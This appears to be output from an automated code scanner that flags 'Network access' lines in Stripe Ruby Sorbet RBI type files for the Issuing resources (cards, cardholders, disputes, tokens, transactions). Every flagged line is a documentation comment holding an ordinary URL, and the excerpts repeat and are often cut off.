# [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 504
# This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling). - Network accessline 510
# [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 511
# This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/card.rbi
- Network accessline 5
module Stripe module Issuing # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders. - Network accessline 6
module Issuing # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders. class Card < APIResource - Network accessline 7
# You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders. - Network accessline 26
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 27
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 28
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 38
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 39
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 40
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 53
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 54
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 55
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 65
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 66
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 67
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 92
end class Customs < ::Stripe::StripeObject # A registration number used for customs in Europe. See [https://www.gov.uk/eori](https://www.gov.uk/eori) for the UK and [https://ec.europa.eu/taxation_customs/business/customs-p - Network accessline 93
class Customs < ::Stripe::StripeObject # A registration number used for customs in Europe. See [https://www.gov.uk/eori](https://www.gov.uk/eori) for the UK and [https://ec.europa.eu/taxation_customs/business/customs-procedures-im - Network accessline 94
# A registration number used for customs in Europe. See [https://www.gov.uk/eori](https://www.gov.uk/eori) for the UK and [https://ec.europa.eu/taxation_customs/business/customs-procedures-import-and-export/customs-procedures/economic-opera - Network accessline 154
class SpendingControls < ::Stripe::StripeObject class SpendingLimit < ::Stripe::StripeObject # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https:/ - Network accessline 155
class SpendingLimit < ::Stripe::StripeObject # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig - Network accessline 156
# Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 157
sig { returns(Integer) } def amount; end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply t - Network accessline 158
def amount; end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 159
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 170
end end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocke - Network accessline 171
end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories - Network accessline 172
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 176
sig { returns(T.nilable(T::Array[String])) } def allowed_merchant_countries; end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations t - Network accessline 177
def allowed_merchant_countries; end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cann - Network accessline 178
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 246
sig { returns(T.nilable(String)) } def cancellation_reason; end # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards. - Network accessline 247
def cancellation_reason; end # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards. # - Network accessline 248
# An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards. - Network accessline 249
# # Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder) sig { returns(::Stripe::Issuing::Cardholder) } - Network accessline 250
# Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder) - Network accessline 254
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Supported currencies are `usd` in the US, `eur` in the EU, and `gbp` in the UK. - Network accessline 255
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Supported currencies are `usd` in the US, `eur` in the EU, and `gbp` in the UK. sig { returns(String) } - Network accessline 256
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Supported currencies are `usd` in the US, `eur` in the EU, and `gbp` in the UK. - Network accessline 257
sig { returns(String) } def currency; end # The card's CVC. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.c - Network accessline 258
def currency; end # The card's CVC. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Add - Network accessline 259
# The card's CVC. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Additionally, it's only ava - Network accessline 281
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 282
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 283
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 284
sig { returns(T::Hash[String, String]) } def metadata; end # The full unredacted card number. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand - Network accessline 285
def metadata; end # The full unredacted card number. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expand - Network accessline 286
# The full unredacted card number. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Additional
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/cardholder.rbi
- Network accessline 5
module Stripe module Issuing # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards. - Network accessline 6
module Issuing # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards. # - Network accessline 7
# An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards. - Network accessline 8
# # Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder) class Cardholder < APIResource - Network accessline 9
# Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder) - Network accessline 14
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 15
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 16
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 26
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 27
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 28
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 76
end end # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. - Network accessline 77
end # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. sig { returns(T.nilable( - Network accessline 78
# Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. - Network accessline 105
class Verification < ::Stripe::StripeObject class Document < ::Stripe::StripeObject # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document` - Network accessline 106
class Document < ::Stripe::StripeObject # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(T.any(String, :: - Network accessline 107
# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 108
sig { returns(T.nilable(T.any(String, ::Stripe::File))) } def back; end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 109
def back; end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 110
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 166
class SpendingControls < ::Stripe::StripeObject class SpendingLimit < ::Stripe::StripeObject # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https:/ - Network accessline 167
class SpendingLimit < ::Stripe::StripeObject # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig - Network accessline 168
# Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 169
sig { returns(Integer) } def amount; end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply t - Network accessline 170
def amount; end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 171
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 182
end end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocke - Network accessline 183
end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories - Network accessline 184
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 188
sig { returns(T.nilable(T::Array[String])) } def allowed_merchant_countries; end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations t - Network accessline 189
def allowed_merchant_countries; end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cann - Network accessline 190
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 228
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 229
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 230
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 237
sig { returns(String) } def object; end # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure#when-is-3d- - Network accessline 238
def object; end # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure#when-is-3d-secure-applied) for more detai - Network accessline 239
# The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure#when-is-3d-secure-applied) for more details. - Network accessline 241
def phone_number; end # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`. # This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/ - Network accessline 242
# The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`. # This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass - Network accessline 243
# This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder. - Network accessline 247
sig { returns(Requirements) } def requirements; end # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. - Network accessline 248
def requirements; end # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. sig { returns(T.nilable(SpendingContr - Network accessline 249
# Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. - Network accessline 253
sig { returns(String) } def status; end # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details. - Network accessline 254
def status; end # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details. sig { returns(String) } - Network accessline 255
# One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/dispute.rbi
- Network accessline 5
module Stripe module Issuing # As a [card issuer](https://docs.stripe.com/issuing), you can dispute transactions that the cardholder does not recognize, suspects to be fraudulent, or has other issues with. - Network accessline 6
module Issuing # As a [card issuer](https://docs.stripe.com/issuing), you can dispute transactions that the cardholder does not recognize, suspects to be fraudulent, or has other issues with. # - Network accessline 7
# As a [card issuer](https://docs.stripe.com/issuing), you can dispute transactions that the cardholder does not recognize, suspects to be fraudulent, or has other issues with. - Network accessline 8
# # Related guide: [Issuing disputes](https://docs.stripe.com/issuing/purchases/disputes) class Dispute < APIResource - Network accessline 9
# Related guide: [Issuing disputes](https://docs.stripe.com/issuing/purchases/disputes) - Network accessline 11
class Evidence < ::Stripe::StripeObject class Canceled < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 12
class Canceled < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 13
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 49
end class Duplicate < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 50
class Duplicate < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 51
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 52
sig { returns(T.nilable(T.any(String, ::Stripe::File))) } def additional_documentation; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had al - Network accessline 53
def additional_documentation; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for. sig { returns(T.nilable(T.any(String, - Network accessline 54
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for. - Network accessline 55
sig { returns(T.nilable(T.any(String, ::Stripe::File))) } def card_statement; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in ca - Network accessline 56
def card_statement; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash. sig { returns(T.nilable(T.any(String, ::Stripe::File)) - Network accessline 57
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash. - Network accessline 58
sig { returns(T.nilable(T.any(String, ::Stripe::File))) } def cash_receipt; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the - Network accessline 59
def cash_receipt; end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product. sig { returns(T.nilable(T.any(String, ::Stripe::F - Network accessline 60
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product. - Network accessline 75
end class Fraudulent < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 76
class Fraudulent < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 77
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 89
end class MerchandiseNotAsDescribed < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 90
class MerchandiseNotAsDescribed < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(T.any(String, ::Stri - Network accessline 91
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 115
end class NoValidAuthorization < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 116
class NoValidAuthorization < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(T.any(String, ::Stripe::F - Network accessline 117
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 129
end class NotReceived < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 130
class NotReceived < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 131
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 152
end class Other < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 153
class Other < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 154
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 172
end class ServiceNotAsDescribed < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 173
class ServiceNotAsDescribed < ::Stripe::StripeObject # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. sig { returns(T.nilable(T.any(String, ::Stripe:: - Network accessline 174
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 238
end class Treasury < ::Stripe::StripeObject # The Treasury [DebitReversal](https://docs.stripe.com/api/treasury/debit_reversals) representing this Issuing dispute - Network accessline 239
class Treasury < ::Stripe::StripeObject # The Treasury [DebitReversal](https://docs.stripe.com/api/treasury/debit_reversals) representing this Issuing dispute sig { returns(T.nilable(String)) } - Network accessline 240
# The Treasury [DebitReversal](https://docs.stripe.com/api/treasury/debit_reversals) representing this Issuing dispute - Network accessline 241
sig { returns(T.nilable(String)) } def debit_reversal; end # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) that is being disputed. - Network accessline 242
def debit_reversal; end # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) that is being disputed. sig { returns(String) } - Network accessline 243
# The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) that is being disputed. - Network accessline 251
end end # Disputed amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Usually the amount of the `transaction`, but can differ (usually because of currency fluctuat - Network accessline 252
end # Disputed amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Usually the amount of the `transaction`, but can differ (usually because of currency fluctuation). - Network accessline 253
# Disputed amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Usually the amount of the `transaction`, but can differ (usually because of currency fluctuation). - Network accessline 275
sig { returns(T.nilable(String)) } def loss_reason; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in - Network accessline 276
def loss_reason; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns - Network accessline 277
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 287
sig { returns(T.any(String, ::Stripe::Issuing::Transaction)) } def transaction; end # [Treasury](https://docs.stripe.com/api/treasury) details related to this dispute if it was created on a [FinancialAccount](/docs/api/treasury/ - Network accessline 288
def transaction; end # [Treasury](https://docs.stripe.com/api/treasury) details related to this dispute if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts sig { returns(T.nilable(Treasury)) } - Network accessline 289
# [Treasury](https://docs.stripe.com/api/treasury) details related to this dispute if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts - Network accessline 290
sig { returns(T.nilable(Treasury)) } def treasury; end # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is pre - Network accessline 291
def treasury; end # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute r - Network accessline 292
# Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute reasons and evidence](htt - Network accessline 304
# Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d - Network accessline 310
# Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/personalization_design.rbi
- Network accessline 73
sig { returns(T.nilable(String)) } def lookup_key; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in - Network accessline 74
def lookup_key; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns( - Network accessline 75
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/token.rbi
- Network accessline 5
module Stripe module Issuing # An issuing token object is created when an issued card is added to a digital wallet. As a [card issuer](https://docs.stripe.com/issuing), you can [view and manage these tokens](https://docs.stripe.com/is - Network accessline 6
module Issuing # An issuing token object is created when an issued card is added to a digital wallet. As a [card issuer](https://docs.stripe.com/issuing), you can [view and manage these tokens](https://docs.stripe.com/issuing/controls/t - Network accessline 7
# An issuing token object is created when an issued card is added to a digital wallet. As a [card issuer](https://docs.stripe.com/issuing), you can [view and manage these tokens](https://docs.stripe.com/issuing/controls/token-management) th
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/transaction.rbi
- Network accessline 5
module Stripe module Issuing # Any use of an [issued card](https://docs.stripe.com/issuing) that results in funds entering or leaving - Network accessline 6
module Issuing # Any use of an [issued card](https://docs.stripe.com/issuing) that results in funds entering or leaving # your Stripe account, such as a completed purchase or refund, is represented by an Issuing - Network accessline 7
# Any use of an [issued card](https://docs.stripe.com/issuing) that results in funds entering or leaving - Network accessline 9
# `Transaction` object. # # Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions) - Network accessline 10
# # Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions) class Transaction < APIResource - Network accessline 11
# Related guide: [Issued card transactions](https://docs.stripe.com/issuing/purchases/transactions) - Network accessline 26
end class MerchantData < ::Stripe::StripeObject # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 27
class MerchantData < ::Stripe::StripeObject # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. sig { r - Network accessline 28
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 233
end class Fuel < ::Stripe::StripeObject # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 234
class Fuel < ::Stripe::StripeObject # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(String) - Network accessline 235
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 321
end class Treasury < ::Stripe::StripeObject # The Treasury [ReceivedCredit](https://docs.stripe.com/api/treasury/received_credits) representing this Issuing transaction if it is a refund - Network accessline 322
class Treasury < ::Stripe::StripeObject # The Treasury [ReceivedCredit](https://docs.stripe.com/api/treasury/received_credits) representing this Issuing transaction if it is a refund sig { returns(T.nilable(String)) } - Network accessline 323
# The Treasury [ReceivedCredit](https://docs.stripe.com/api/treasury/received_credits) representing this Issuing transaction if it is a refund - Network accessline 324
sig { returns(T.nilable(String)) } def received_credit; end # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) representing this Issuing transaction if it is a capture - Network accessline 325
def received_credit; end # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) representing this Issuing transaction if it is a capture sig { returns(T.nilable(String)) } - Network accessline 326
# The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) representing this Issuing transaction if it is a capture - Network accessline 334
end end # The transaction amount, which will be reflected in your balance. This amount is in your currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 335
end # The transaction amount, which will be reflected in your balance. This amount is in your currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 336
# The transaction amount, which will be reflected in your balance. This amount is in your currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 337
sig { returns(Integer) } def amount; end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 338
def amount; end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.nilable(AmountDetails)) - Network accessline 339
